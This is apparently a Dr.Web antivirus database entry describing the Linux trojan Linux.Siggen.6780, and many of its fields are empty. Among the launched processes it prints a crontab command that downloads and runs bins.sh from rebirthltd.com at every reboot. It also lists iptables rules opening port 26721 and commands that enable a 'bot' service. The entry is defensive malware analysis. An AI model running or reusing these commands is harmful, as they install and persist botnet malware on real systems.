Linux.Siggen.6780

Linux.Siggen.6780

Added to the Dr.Web virus database: 2024-03-18

Virus description added: 2024-03-18

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

Manages services:

Launches processes:

crontab -l
crontab -
/bin/kmod /sbin/modprobe ip_tables
/sbin/xtables-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/systemctl enable bot
/bin/sh -c /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
sh bins.sh
/bin/sh -c /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
chmod +x bins.sh
/bin/sh -c iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/sbin/initctl start bot

Performs operations with the file system:

Modifies file access rights:

Deletes folders:

Creates or modifies files:

Deletes files:

Changes time of creation/access/modification of files:

Network activity:

Awaits incoming connections on ports:

Establishes connection:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects information about network activity